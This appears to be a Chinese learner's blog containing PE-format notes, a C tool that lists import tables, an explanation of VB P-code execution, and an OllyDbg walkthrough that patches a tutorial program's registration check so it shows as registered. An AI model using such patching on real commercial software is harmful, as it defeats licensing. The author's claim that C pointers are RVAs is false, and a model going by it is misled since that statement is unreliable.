前几天把PE结构认真看了一下,顺便写了下类似peinfo的工具练练手,只不过是控制台的(windows sdk没怎么学,win32汇编也忘的差不多了,所以还是写成控制台的吧。。)。以前了解pe文件的时候总是走马观花,所以基本上印象全无。这次认认真真写写代码,收获还是比较大的。
说实话,pe结构的学习真的不难,但是非常考验耐心,特别是数据目录那里和资源结构那里,一层套一层,一定要耐心才行。
记下几个我认为重要的点,或者说收获:
0.rva和raw的转化
先看rva在哪个块(块表里面有一个块的起始rva和VirtualSize),块的起始raw也是可以得到的(也在对应的块表中)。然后raw=块起始raw+(rva-块起始rva)
简单吧。

1.c语言的指针

大家都知道,c语言的指针是所指向的变量的地址,那么这个地址到底是什么地址呢?va?还是rva?
由于我用的是SetFilePointer定位文件光标,再用ReadFile()把相关数据结构读取到内存,所以涉及到怎么定位光标的问题。这就需要知道要获取的数据结构的文件偏移,也就是raw。但是如下图所示,IMAGE_THUNK_DATA里面的AddressOfData是指向IMAGE_IMPORT_BY_NAME的指针,而不是raw。怎么办呢,我用winhex仔细看了下PE文件(把这个值当成rva,转化为raw,发现可以找到对应的IMAGE_IMPORT_BY_NAME),发现其实这个指针的值就是rva。
也就是说:c语言的指针就是所指向变量的rva

2.IMAGE_SECTION_HEADER中的MISC的VirtualSize域,下面这张图中说是未对齐时的真实大小,我觉得应该已经是内存地址空间中按页对齐时的大小(目前的看法)

3.关于IMAGE_IMPORT_DESCRIPTOR

简单来说,每个IMAGE_IMPORT_DESCRIPTOR对应一个导入的dll。以一个全0的IMAGE_IMPORT_DESCRIPTOR结束。

4.最后记一下pe加载到内存时windows加载器对导入表的修改

(1)windows加载器遍历pe文件,IMAGE_DOS_HEADER.elfanew—->IMAGE_NT_HEADERS.IMAGE_OPTIONAL_HEADER32.IMAGE_DATA_DIRECTORY[1].VirtualAddress—->IMAGE_IMPORT_DESCRIPTOR
IMAGE_IMPORT_DESCRIPTOR可能有多个,每个对应一个dll。
(2)然后根据IMAGE_IMPORT_DESCRIPTOR内的Name找到dll的名字,用loadlibrary加载这个dll。
(3)根据IMAGE_IMPORT_DESCRIPTOR的FirstThunk(是IAT数组的rva)找到IAT数组
(4)根据IAT数组元素IMAGE_THUNK_DATA32的AddressOfData找到IMAGE_IMPORT_BY_NAME(注意:IMAGE_THUNK_DATA32里面是一个联合体)
(5)这样就得到了导入函数的名字,然后用GetProcAdress()获取该函数的实际地址,填入IAT数组元素IMAGE_THUNK_DATA32,这样之后IAT数组里面的就是函数的真实(va)地址了

5.dll的加载:

显示:在需要的时候用LoadLibrary()和GetProcAddress()动态加载
隐式:windows加载器在PE文件映射到内存时填充IAT,加载对应dll文件

写的比较挫,暂时先主要把输入表中的函数名字显示出来,要显示其他内容也是一样的

—————————————————————————-
2015.2.6
突然觉得我写复杂了,其实可以一次性把PE文件全部读到一个字符串里面,不用一点一点读文件,不过这样也有好处,文件太大时前者行不通

#include&lt;stdio.h&gt;
#include&lt;string.h&gt;
#include&lt;windows.h&gt;
HANDLE hfile;
IMAGE_DOS_HEADER dos_head;
IMAGE_NT_HEADERS pe_head;
PIMAGE_FILE_HEADER pfile_head;
PIMAGE_OPTIONAL_HEADER32 poptional_head;
PIMAGE_DATA_DIRECTORY pdata_dir;
IMAGE_SECTION_HEADER sec_head[30];
IMAGE_IMPORT_DESCRIPTOR import[110];
IMAGE_THUNK_DATA32 thunk;//IAT
int dll_num;//导入的dll的个数
int sec_num;//块的个数
int ophead_size,dos_and_nt;
DWORD readsize;
DWORD rva2raw(DWORD rva)
{
	int i;
	DWORD sec_begin,sec_end;
	for(i=1;i&lt;=sec_num;i++)
	{
		sec_begin=sec_head[i].VirtualAddress;sec_end=sec_head[i].VirtualAddress+sec_head[i].Misc.VirtualSize;
		if(rva&lt;sec_begin || rva&gt;sec_end) continue;
		return sec_head[i].PointerToRawData+rva-sec_head[i].VirtualAddress;
	}
	return 0;
}
void read_error(int ret)
{
	if(!ret) 
	{
		printf(&quot;read error\n&quot;);
		CloseHandle(hfile);
		exit(1);
		return;
	}
	return;
}
void read_sechead()
{
	int i,j;
	for(i=1;i&lt;=sec_num;i++)
	{
		SetFilePointer(hfile,dos_and_nt+(i-1)*sizeof(IMAGE_SECTION_HEADER),0,FILE_BEGIN);
		int ret=ReadFile(hfile,&amp;sec_head[i],sizeof(sec_head[i]),&amp;readsize,0);
		read_error(ret);
	}
	return;
}
bool judge(IMAGE_IMPORT_DESCRIPTOR _import)//判断IMAGE_IMPORT_DESCRIPTOR是否读取完毕
{
	if(_import.OriginalFirstThunk==0 &amp;&amp; _import.FirstThunk==0 &amp;&amp; _import.ForwarderChain==0 &amp;&amp; _import.Name==0 &amp;&amp; _import.TimeDateStamp==0) return 0;
	return 1;
}
void read_import()
{
	dll_num=0;
	int src=rva2raw(pdata_dir[1].VirtualAddress);
	int offset=sizeof(IMAGE_IMPORT_DESCRIPTOR);
	while(1)
	{
		dll_num++;
		SetFilePointer(hfile,src+(dll_num-1)*offset,0,FILE_BEGIN);
		int ret=ReadFile(hfile,&amp;import[dll_num],sizeof(IMAGE_IMPORT_DESCRIPTOR),&amp;readsize,0);
		read_error(ret);
		if(!judge(import[dll_num])) {dll_num-=1;break;}
	}
	return;
}
void print_exp_and_imp()
{
	printf(&quot;type		rva			size\n&quot;);
	printf(&quot;导出表		%x			%x\n&quot;,pdata_dir[0].VirtualAddress,pdata_dir[0].Size);
	printf(&quot;导入表		%x			%x\n&quot;,pdata_dir[1].VirtualAddress,pdata_dir[1].Size);
	return;
}
void print_sec_info()
{
	int i;
	printf(&quot;the information of section:\n&quot;);
	printf(&quot;%10s%8s%15s%6s%14s%18s\n&quot;,&quot;name&quot;,&quot;rva&quot;,&quot;VirtualSize&quot;,&quot;raw&quot;,&quot;SizeOfRawData&quot;,&quot;Characteristics&quot;);
	for(i=1;i&lt;=sec_num;i++)
	{
		printf(&quot;%10s%10x%10x%10x%10x%18x\n&quot;,sec_head[i].Name,sec_head[i].VirtualAddress,sec_head[i].Misc.VirtualSize,sec_head[i].PointerToRawData,sec_head[i].SizeOfRawData,sec_head[i].Characteristics);
	}

}
void get_dllname(int i,char*dll_name)
{
	SetFilePointer(hfile,rva2raw(import[i].Name),0,FILE_BEGIN);
	int ret=ReadFile(hfile,dll_name,30,&amp;readsize,0);
	read_error(ret);
	return;
}
void print_dllfunc(int i)
{
	DWORD iat_entry=import[i].FirstThunk;
	iat_entry=rva2raw(iat_entry);
	int cc=0;
	while(1)
	{
		cc++;
		SetFilePointer(hfile,iat_entry+(cc-1)*sizeof(thunk),0,FILE_BEGIN);
		int ret=ReadFile(hfile,&amp;thunk,sizeof(thunk),&amp;readsize,0);
		read_error(ret);
		DWORD fname_rva=(DWORD)thunk.u1.AddressOfData;//注意:c语言的指针本质是rva
		if(fname_rva==0) break;
		DWORD fname_raw=rva2raw(fname_rva);//fname_raw为IMAGE_IMPORT_BY_NAME的raw
		char*s[100];
		SetFilePointer(hfile,fname_raw+2,0,FILE_BEGIN);//fname_raw+2是IMAGE_IMPORT_BY_NAME的Name[1]的raw
		ret=ReadFile(hfile,s,100,&amp;readsize,0);
		read_error(ret);
		printf(&quot;%s\n&quot;,s);
	}
	printf(&quot;\n&quot;);
	return;
}
void print_import()
{
	int i,j;
	char dll_name[30];
	printf(&quot;以下是导入表函数信息:\n&quot;);
	for(i=1;i&lt;=dll_num;i++)
	{
		get_dllname(i,dll_name);
		printf(&quot;%s\n&quot;,dll_name);
		print_dllfunc(i);
	}
	return;
}
int main()
{
	int i,j;
	char filename[1010];
	printf(&quot;请输入PE文件的绝对路径:&quot;);
	while(~scanf(&quot;%s&quot;,filename))
	{
		hfile=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
		if(hfile==INVALID_HANDLE_VALUE)
		{
			printf(&quot;file_open_error\n&quot;);
			return 0;
		}

		int ret=ReadFile(hfile,&amp;dos_head,sizeof(dos_head),&amp;readsize,0);
		read_error(ret);
		if(dos_head.e_magic!=0x5a4d)
		{
			printf(&quot;this is't a valid pe file\n&quot;);
			CloseHandle(hfile);
			return 0;
		}
		
		SetFilePointer(hfile,dos_head.e_lfanew,0,FILE_BEGIN);
		ret=ReadFile(hfile,&amp;pe_head,sizeof(pe_head),&amp;readsize,0);
		read_error(ret);
		if(pe_head.Signature!=0x4550)
		{
			printf(&quot;this is't a valid pe file\n&quot;);
			CloseHandle(hfile);
			return 0;
		}

		pfile_head=&amp;(pe_head.FileHeader);
		poptional_head=&amp;(pe_head.OptionalHeader);
		printf(&quot;the EP is %x\n&quot;,poptional_head-&gt;AddressOfEntryPoint);
		pdata_dir=poptional_head-&gt;DataDirectory;

		print_exp_and_imp();
		
		sec_num=pfile_head-&gt;NumberOfSections;
		ophead_size=pfile_head-&gt;SizeOfOptionalHeader;
		dos_and_nt=dos_head.e_lfanew+4+sizeof(*pfile_head)+ophead_size;//dos头和nt头总大小(不包括块表)
		
		read_sechead();
		print_sec_info();
		read_import();
		print_import();
		


		CloseHandle(hfile);
		printf(&quot;请输入PE文件的绝对路径:&quot;);
	}
	return 0;
}

关于vb反汇编

今天做一个VB写的crackme,程序本身很简单,但是却发现一个很奇怪的地方

看如下代码

0F0FEA42  xor eax,eax
0F0FEA44  mov al,byte ptr ds:[esi]
0F0FEA46  inc esi
0F0FEA47  jmp dword ptr ds:[eax*4+0xF0FED94]

这样的代码随处可见,而且程序几乎一直是在msvbvm50这个dll里面执行上述代码,几乎没有回到用户程序领空。后来搜了下,在看雪看到这个系列的文章,总算搞懂了,这里做下记录
VB P-code — 虚拟机的艺术
VB P-code — 调试器的革命
VB P-code — 伪代码的奥秘
这三篇文章讲的很详细,基本上是说:
vb的编译分两种,一是native,也就是直接编译成机器码,而是p-code,编译成字节码,由虚拟机引擎解释执行
上面的程序正是p-code方式,esi指向的是字节码指令所在的地址,mov al,byte ptr ds:[esi]这句就是取操作码,inc esi则是指针指向操作数(对双字节操作码的指令,则是指向第二级操作码),jmp dword ptr ds:[eax*4+0xF0FED94]这句中的0xF0FED94是跳转地址表的首地址。这个内存区域存放着所有vb字节码对应的机器码程序。上述代码正是利用字节码的操作码部分得出对应的机器指令程序段的地址,然后跳过去执行这条字节码的功能。
这也解决了我的问题。msvbvm50这个dll中存储了vb5.0的虚拟机代码,程序不断的通过虚拟机获取用户程序领空的字节码来执行,所以才会一直在msvbvm50.dll里面打转。而用户代码部分则od无法识别,原因就是这些代码都是字节码嘛。
然后又查了查,找到了一个叫vbdecomplier的反编译器,pcode方式的vb程序基本上都能看源码了。。

破解一个简单的程序

再来看一个。

MrBills

这个也是鱼c解密系列od调试篇里面的一个程序

这个系列的教学视频很不错,很基础,适合初学者。虽然里面讲的东西很多以前都学过,但是每个视频总会让我学到一点新知识。但是注意一点,看视频前一定要自己先尝试破解一下那节课的程序。这样才会有收获。

下面是我尝试破解的过程。

首先打开程序

wps4664.tmp[12]

发现标题中有Unregistered这样的字符串,打开about,发现有注册的按钮,并且文字说明当前版本是非注册版。

好,先以标题中的Unregistered为切入点。

od载入,运行。

查找所有参考文本串,发现找不到Unregistered。。但是发现了这么一个字符串

wps4684.tmp[11]

显然,这是注册后才会显示的字符串,双击来到相关代码处。往上找找看跳转,发现了如下代码:

wps4685.tmp[11]

这个je跳转如果成功,就会跳过刚才那个字符串的地方。显然

00402350  |.  E8 144D0000   call    00407069

这句是关键,因为al的值是否为0直接决定je的结果,所以这个call应该是判断是否有注册有关。

所以在402350处下断,重新载入运行。点about按钮触发一下中断,F7步入看看

往下发现该函数的最后几句如下:

00407125  |.  A0 A0765000   mov     al, byte ptr [5076A0]

0040712A  |.  64:890D 00000>mov     dword ptr fs:[0], ecx

00407131  |.  C9            leave

00407132  \.  C3            retn

可见,al的值来自于5076a0这个地址。

好,试着对该地址常量查找参考,发现如下

wps4696.tmp[11]

对这些地方全部下断。看看程序第一次写入这个地址的代码那里如何

下断后重新载入运行。

wps46B6.tmp[11]

断在这里。我们来观察一下,因为目前我们还未实现破解,所以jnz不会跳转,那么已注册版本显然是要实现跳转的。4070cb处的call显然是判断软件是否已经注册的。由于未注册不会跳转,可见,未注册时call 00406fd1返回0,。那么,答案已经很明显了,做如下修改:

wps46C7.tmp[11]

注意红色的两条指令为修改处。

当然,直接把mov     byte ptr [5076A0], al  改为mov     byte ptr [5076A0], 1逻辑上也是可以的,但是由于指令长度变长,会把下面的跳转指令覆盖掉。。所以不行。

保存一下,看看结果

wps46F7.tmp[11]

看到区别了吧,已经破解了。

这里仅仅实现破解,程序的算法就不逆向了。。(有空再说)